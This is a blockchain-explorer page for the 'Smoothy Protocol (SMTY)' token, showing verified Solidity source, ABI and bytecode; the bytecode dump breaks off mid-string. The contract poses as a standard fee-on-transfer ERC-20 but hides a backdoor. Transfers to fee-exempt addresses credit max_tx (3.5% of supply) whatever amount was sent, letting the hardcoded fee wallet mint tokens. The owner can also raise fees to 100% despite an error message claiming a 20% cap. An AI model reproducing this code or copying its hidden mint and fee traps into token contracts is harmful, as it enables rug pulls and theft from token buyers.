ETH Price: $2,454.20 (+1.49%)

Token

Smoothy Protocol (SMTY)
 

Overview

Max Total Supply

1,000,000,000 SMTY

Holders

92

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
766,431.559787497 SMTY

Value
$0.00
0x8220eee0d7d2281a6df653b84942b966849165fd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SMTY

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-11
*/

// SPDX-License-Identifier: MIT

/*
Single pool supporting 20+ stablecoin with extremely low gas fee zero-slippage swapping and maximized LP reward

Website: https://www.smoothy.cc
Telegram:  https://t.me/smoothy_protocol
Twitter: https://twitter.com/smoothyeth
*/

pragma solidity 0.8.21;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract SMTY is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "Smoothy Protocol";
    string private constant _symbol = "SMTY";

    uint8 private constant _decimals = 9;
    uint256 private _supply = 1000000000 * (10 ** _decimals);

    bool private tradeEnabled = false;
    bool private swapEnabled = true;
    uint256 private countTax;
    bool private swappng;
    uint256 taxSwapAt;
    IRouter router;
    address public pair;

    uint256 private splitLP = 0;
    uint256 private splitMarketing = 0;
    uint256 private splitDev = 100;
    uint256 private splitBurn = 0;
    
    uint256 private buyFee = 1300;
    uint256 private sellFee = 1300;
    uint256 private transferFee = 1300;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;

    address internal feeDev = 0x04189923F3d9258cCC9de84203B8D357408d9596; 
    address internal feeMarketing = 0x04189923F3d9258cCC9de84203B8D357408d9596;
    address internal feeLp = 0x04189923F3d9258cCC9de84203B8D357408d9596;

    uint256 public max_tx = ( _supply * 350 ) / 10000;
    uint256 public max_buy = ( _supply * 350 ) / 10000;
    uint256 public max_wallet = ( _supply * 350 ) / 10000;
    uint256 private max_fee_swap = ( _supply * 1000 ) / 100000;
    uint256 private min_fee_swap = ( _supply * 10 ) / 100000;
    modifier lock_fee {swappng = true; _; swappng = false;}

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isNotInFee;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isNotInFee[feeMarketing] = true;
        isNotInFee[feeDev] = true;
        isNotInFee[feeLp] = true;
        isNotInFee[msg.sender] = true;
        _balances[msg.sender] = _supply;
        emit Transfer(address(0), msg.sender, _supply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _supply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function getOwner() external view override returns (address) { return owner; }
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function startTrading() external onlyOwner {tradeEnabled = true;}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}

    function take_fee_on_trade(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isNotInFee[recipient]) {return max_tx;}
        if(getTaxAmount(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTaxAmount(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(splitBurn > uint256(0) && getTaxAmount(sender, recipient) > splitBurn){_transfer(address(this), address(DEAD), amount.div(denominator).mul(splitBurn));}
        return amount.sub(feeAmount);} return amount;
    }
    
    function swap_and_liquidify(uint256 tokens) private lock_fee {
        uint256 _denominator = (splitLP.add(1).add(splitMarketing).add(splitDev)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(splitLP).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(splitLP));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(splitLP);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(splitMarketing);
        if(marketingAmt > 0){payable(feeMarketing).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(feeDev).transfer(contractBalance);}
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            feeLp,
            block.timestamp);
    }

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        splitLP = _liquidity; splitMarketing = _marketing; splitBurn = _burn; splitDev = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }

    function should_swap_ca(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= min_fee_swap;
        bool aboveThreshold = balanceOf(address(this)) >= max_fee_swap;
        return !swappng && swapEnabled && tradeEnabled && aboveMin && !isNotInFee[sender] && recipient == pair && countTax >= taxSwapAt && aboveThreshold;
    }

    function getTaxAmount(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return buyFee;}
        return transferFee;
    }

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _supply.mul(_buy).div(10000); uint256 newTransfer = _supply.mul(_sell).div(10000); uint256 newWallet = _supply.mul(_wallet).div(10000);
        max_tx = newTx; max_buy = newTransfer; max_wallet = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function check_if_excluded(address sender, address recipient) internal view returns (bool) {
        return !isNotInFee[sender] && !isNotInFee[recipient];
    }    

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isNotInFee[sender] && !isNotInFee[recipient]){require(tradeEnabled, "tradeEnabled");}
        if(!isNotInFee[sender] && !isNotInFee[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= max_wallet, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= max_buy || isNotInFee[sender] || isNotInFee[recipient], "TX Limit Exceeded");}
        require(amount <= max_tx || isNotInFee[sender] || isNotInFee[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isNotInFee[sender]){countTax += uint256(1);}
        if(should_swap_ca(sender, recipient, amount)){swap_and_liquidify(max_fee_swap); countTax = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isNotInFee[sender] ? take_fee_on_trade(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isNotInFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_tx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_wallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004ad565b6200002290633b9aca00620004c4565b60018190556002805461ffff19166101001790555f600881905560098190556064600a55600b55610514600c819055600d819055600e55612710600f819055601080546001600160a01b03199081167304189923f3d9258ccc9de84203b8d357408d95969081179092556011805482168317905560128054909116909117905590620000b19061015e620004c4565b620000bd9190620004de565b60135561271060015461015e620000d59190620004c4565b620000e19190620004de565b60145561271060015461015e620000f99190620004c4565b620001059190620004de565b601555620186a06001546103e86200011e9190620004c4565b6200012a9190620004de565b601655620186a0600154600a620001429190620004c4565b6200014e9190620004de565b6017553480156200015d575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e89190620004fe565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000234573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025a9190620004fe565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002cb9190620004fe565b600680546001600160a01b038581166001600160a01b03199283161790925560078054848416921691909117905560115481165f908152601a60209081526040808320805460ff19908116600190811790925560105486168552828520805482168317905560125490951684528184208054861682179055338085528285208054909616821790955554601883528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000526565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f257815f1904821115620003d657620003d66200039e565b80851615620003e457918102915b93841c9390800290620003b7565b509250929050565b5f826200040a57506001620004a7565b816200041857505f620004a7565b81600181146200043157600281146200043c576200045c565b6001915050620004a7565b60ff8411156200045057620004506200039e565b50506001821b620004a7565b5060208310610133831016604e8410600b841016171562000481575081810a620004a7565b6200048d8383620003b2565b805f1904821115620004a357620004a36200039e565b0290505b92915050565b5f620004bd60ff841683620003fa565b9392505050565b8082028115828204841417620004a757620004a76200039e565b5f82620004f957634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200050f575f80fd5b81516001600160a01b0381168114620004bd575f80fd5b61178d80620005345f395ff3fe60806040526004361061011e575f3560e01c8063893d20e81161009d578063a9059cbb11610062578063a9059cbb14610367578063cb7f97d714610386578063dd62ed3e146103a5578063e717fc30146103e9578063f2fde38b146103fe575f80fd5b8063893d20e8146102b85780639116848a146102e857806395d89b41146102fd5780639cc3535114610329578063a8aa1b3114610348575f80fd5b80632f54bf6e116100e35780632f54bf6e146101f9578063313ce5671461022657806370a082311461024157806370fbc7121461027557806375619c241461028a575f80fd5b806306fdde0314610129578063095ea7b31461017357806318160ddd146101a257806323b872dd146101c4578063293230b8146101e3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601081526f14db5bdbdd1a1e48141c9bdd1bd8dbdb60821b60208201525b60405161016a919061144a565b60405180910390f35b34801561017e575f80fd5b5061019261018d3660046114ac565b61041d565b604051901515815260200161016a565b3480156101ad575f80fd5b506101b6610433565b60405190815260200161016a565b3480156101cf575f80fd5b506101926101de3660046114d6565b6104a3565b3480156101ee575f80fd5b506101f761050b565b005b348015610204575f80fd5b50610192610213366004611514565b5f546001600160a01b0391821691161490565b348015610231575f80fd5b506040516009815260200161016a565b34801561024c575f80fd5b506101b661025b366004611514565b6001600160a01b03165f9081526018602052604090205490565b348015610280575f80fd5b506101b660135481565b348015610295575f80fd5b506101926102a4366004611514565b601a6020525f908152604090205460ff1681565b3480156102c3575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016a565b3480156102f3575f80fd5b506101b660145481565b348015610308575f80fd5b50604080518082019091526004815263534d545960e01b602082015261015d565b348015610334575f80fd5b506101f761034336600461152f565b61054c565b348015610353575f80fd5b506007546102d0906001600160a01b031681565b348015610372575f80fd5b506101926103813660046114ac565b610688565b348015610391575f80fd5b506101f76103a0366004611558565b610694565b3480156103b0575f80fd5b506101b66103bf36600461159f565b6001600160a01b039182165f90815260196020908152604080832093909416825291909152205490565b3480156103f4575f80fd5b506101b660155481565b348015610409575f80fd5b506101f7610418366004611514565b610788565b5f610429338484610804565b5060015b92915050565b60186020527f999d26de3473317ead3eeaf34ca78057f1439db67b6953469c3c96ce9caf6bd75461dead5f9081527fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd654600154919261049e9290916104989190610927565b90610927565b905090565b5f6104af848484610932565b61050084336104fb85604051806060016040528060288152602001611730602891396001600160a01b038a165f9081526019602090815260408083203384529091529020549190610e6a565b610804565b5060015b9392505050565b5f546001600160a01b0316331461053d5760405162461bcd60e51b8152600401610534906115d6565b60405180910390fd5b6002805460ff19166001179055565b5f546001600160a01b031633146105755760405162461bcd60e51b8152600401610534906115d6565b5f61059761271061059186600154610e9590919063ffffffff16565b90610ea0565b90505f6105b561271061059186600154610e9590919063ffffffff16565b90505f6105d361271061059186600154610e9590919063ffffffff16565b60138490556014839055601581905590505f6105fe6103e861059160056105f8610433565b90610e95565b90508084101580156106105750808310155b801561061c5750808210155b61067f5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610534565b50505050505050565b5f610429338484610932565b5f546001600160a01b031633146106bd5760405162461bcd60e51b8152600401610534906115d6565b60088790556009869055600b859055600a849055600c839055600d829055600e819055600f546106ee906001610ea0565b600c541115801561070e5750600f54610708906001610ea0565b600d5411155b80156107295750600f54610723906001610ea0565b600e5411155b61067f5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610534565b5f546001600160a01b031633146107b15760405162461bcd60e51b8152600401610534906115d6565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610534565b6001600160a01b0382166108c75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610534565b6001600160a01b038381165f8181526019602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610504828461160a565b6001600160a01b0383166109965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610534565b6001600160a01b0382166109f85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610534565b6001600160a01b0383165f90815260186020526040902054811115610a795760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610534565b6001600160a01b0383165f908152601a602052604090205460ff16158015610ab957506001600160a01b0382165f908152601a602052604090205460ff16155b15610aff5760025460ff16610aff5760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b6044820152606401610534565b6001600160a01b0383165f908152601a602052604090205460ff16158015610b3f57506001600160a01b0382165f908152601a602052604090205460ff16155b8015610b5957506007546001600160a01b03838116911614155b8015610b7057506001600160a01b03821661dead14155b15610be8576015546001600160a01b0383165f90815260186020526040902054610b9a9083610eab565b1115610be85760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610534565b6007546001600160a01b03848116911614610c875760145481111580610c2557506001600160a01b0383165f908152601a602052604090205460ff165b80610c4757506001600160a01b0382165f908152601a602052604090205460ff165b610c875760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610534565b60135481111580610caf57506001600160a01b0383165f908152601a602052604090205460ff165b80610cd157506001600160a01b0382165f908152601a602052604090205460ff165b610d115760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610534565b6007546001600160a01b038381169116148015610d4657506001600160a01b0383165f908152601a602052604090205460ff16155b15610d6357600160035f828254610d5d919061161d565b90915550505b610d6e838383610eb6565b15610d8357610d7e601654610f65565b5f6003555b6001600160a01b0383165f90815260186020526040902054610da59082610927565b6001600160a01b0384165f90815260186020908152604080832093909355601a90529081205460ff1615610dd95781610de4565b610de48484846110d5565b6001600160a01b0384165f90815260186020526040902054909150610e099082610eab565b6001600160a01b038085165f8181526018602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e5c9085815260200190565b60405180910390a350505050565b5f8184841115610e8d5760405162461bcd60e51b8152600401610534919061144a565b505050900390565b5f6105048284611630565b5f6105048284611647565b5f610504828461161d565b601754601654305f9081526018602052604081205460045491938510159211159060ff16158015610eee5750600254610100900460ff165b8015610efc575060025460ff165b8015610f055750815b8015610f2957506001600160a01b0386165f908152601a602052604090205460ff16155b8015610f4257506007546001600160a01b038681169116145b8015610f52575060055460035410155b8015610f5b5750805b9695505050505050565b6004805460ff19166001908117909155600a546009546008545f93610f9e936002936105f8939192610f98928391610eab565b90610eab565b90505f610fba8261059160085486610e9590919063ffffffff16565b90505f610fc78483610927565b905047610fd3826111ff565b5f610fde4783610927565b90505f611000610ff96008548861092790919063ffffffff16565b8390610ea0565b90505f61101860085483610e9590919063ffffffff16565b9050801561102a5761102a868261134f565b6009545f9061103e906105f8856002610e95565b9050801561107f576011546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561107d573d5f803e3d5ffd5b505b4780156110bf576010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110bd573d5f803e3d5ffd5b505b50506004805460ff191690555050505050505050565b6001600160a01b0382165f908152601a602052604081205460ff16156110fe5750601354610504565b5f6111098585611400565b11156111f8575f61112b61111d8686611400565b600f546105f8908690610ea0565b305f908152601860205260409020549091506111479082610eab565b305f81815260186020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111979085815260200190565b60405180910390a35f600b541180156111ba5750600b546111b88686611400565b115b156111e6576111e63061dead6111e1600b546105f8600f5489610ea090919063ffffffff16565b610932565b6111f08382610927565b915050610504565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061123257611232611666565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611289573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ad919061167a565b816001815181106112c0576112c0611666565b6001600160a01b0392831660209182029290920101526006546112e69130911684610804565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131e9085905f90869030904290600401611695565b5f604051808303815f87803b158015611335575f80fd5b505af1158015611347573d5f803e3d5ffd5b505050505050565b6006546113679030906001600160a01b031684610804565b60065460125460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156113d4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113f99190611704565b5050505050565b6007545f906001600160a01b03908116908316036114215750600d5461042d565b6007546001600160a01b03908116908416036114405750600c5461042d565b50600e5492915050565b5f6020808352835180828501525f5b8181101561147557858101830151858201604001528201611459565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114a9575f80fd5b50565b5f80604083850312156114bd575f80fd5b82356114c881611495565b946020939093013593505050565b5f805f606084860312156114e8575f80fd5b83356114f381611495565b9250602084013561150381611495565b929592945050506040919091013590565b5f60208284031215611524575f80fd5b813561050481611495565b5f805f60608486031215611541575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561156e575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156115b0575f80fd5b82356115bb81611495565b915060208301356115cb81611495565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042d5761042d6115f6565b8082018082111561042d5761042d6115f6565b808202811582820484141761042d5761042d6115f6565b5f8261166157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561168a575f80fd5b815161050481611495565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116e35784516001600160a01b0316835293830193918301916001016116be565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611716575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220874780178ff1bb61e2655d825b9902801107cfe36ba09837e303c75b0dda351064736f6c63430008150033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063893d20e81161009d578063a9059cbb11610062578063a9059cbb14610367578063cb7f97d714610386578063dd62ed3e146103a5578063e717fc30146103e9578063f2fde38b146103fe575f80fd5b8063893d20e8146102b85780639116848a146102e857806395d89b41146102fd5780639cc3535114610329578063a8aa1b3114610348575f80fd5b80632f54bf6e116100e35780632f54bf6e146101f9578063313ce5671461022657806370a082311461024157806370fbc7121461027557806375619c241461028a575f80fd5b806306fdde0314610129578063095ea7b31461017357806318160ddd146101a257806323b872dd146101c4578063293230b8146101e3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601081526f14db5bdbdd1a1e48141c9bdd1bd8dbdb60821b60208201525b60405161016a919061144a565b60405180910390f35b34801561017e575f80fd5b5061019261018d3660046114ac565b61041d565b604051901515815260200161016a565b3480156101ad575f80fd5b506101b6610433565b60405190815260200161016a565b3480156101cf575f80fd5b506101926101de3660046114d6565b6104a3565b3480156101ee575f80fd5b506101f761050b565b005b348015610204575f80fd5b50610192610213366004611514565b5f546001600160a01b0391821691161490565b348015610231575f80fd5b506040516009815260200161016a565b34801561024c575f80fd5b506101b661025b366004611514565b6001600160a01b03165f9081526018602052604090205490565b348015610280575f80fd5b506101b660135481565b348015610295575f80fd5b506101926102a4366004611514565b601a6020525f908152604090205460ff1681565b3480156102c3575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016a565b3480156102f3575f80fd5b506101b660145481565b348015610308575f80fd5b50604080518082019091526004815263534d545960e01b602082015261015d565b348015610334575f80fd5b506101f761034336600461152f565b61054c565b348015610353575f80fd5b506007546102d0906001600160a01b03